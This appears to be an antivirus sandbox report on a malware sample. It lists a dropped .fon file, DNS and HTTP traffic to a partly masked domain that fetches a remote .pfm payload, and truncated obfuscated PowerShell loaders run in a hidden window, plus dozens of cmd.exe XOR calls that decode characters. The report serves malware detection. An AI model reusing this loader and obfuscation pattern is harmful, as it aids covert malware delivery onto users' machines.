Technical Information
Malicious functions
Launches a large number of processes
Modifies file system
Creates the following files
- %APPDATA%\blaastemplinger.fon
Network activity
Connects to
- 'b2####hnmobile.de':80
TCP
HTTP GET requests
- http://b2####hnmobile.de/elias/Mouched.pfm
UDP
- DNS ASK b2####hnmobile.de
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Arteriocapillary37=-7011+27011;Function Kmet2469 ([String]$Drmmer){$Kaninavlndtrdelser=5;For($Kaninavl=4; $Kaninavl -lt $Drmmer.Length-1; $Kaninavl+=$Kaninavlndtrdelser){$Kategorisering = 'su...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Arteriocapillary37=-7011+27011;Function Kmet2469 ([String]$Drmmer){$Kaninavlndtrdelser=5;For($Kaninavl=4; $Kaninavl -lt $Drmmer.Length-1; $Kaninavl+=$Kaninavlndtrdelser){$Kategorisering = 'su...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 97^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 89^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 118^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 69^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 61^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 49^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 83^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 115^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 85^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 82^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 122^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 100^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 88^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 102^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 73^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 77^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 53^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 44^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 74^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 76^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 43^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 87^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 57^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 33^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 36^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 71^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 84^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 67^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 80^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 65^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 66^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 104^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 98^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 101^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 116^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 124^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 63^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 117^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 125^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 92^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 120^^17"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Terce02([String]$Stife) { $udfritninger = [System.Byte[]]::CreateInstance([System.Byte],$Stife.Length / 2) $Talstrkt45 = (cmd /c 'echo 16') For($Unsecretly=0; $Unsecretly -lt $Sti...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 114^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 126^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 119^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 70^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 127^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 34^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 35^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 68^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 112^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 95^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 103^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 121^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 86^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 99^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 37^^17"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 56^^17"
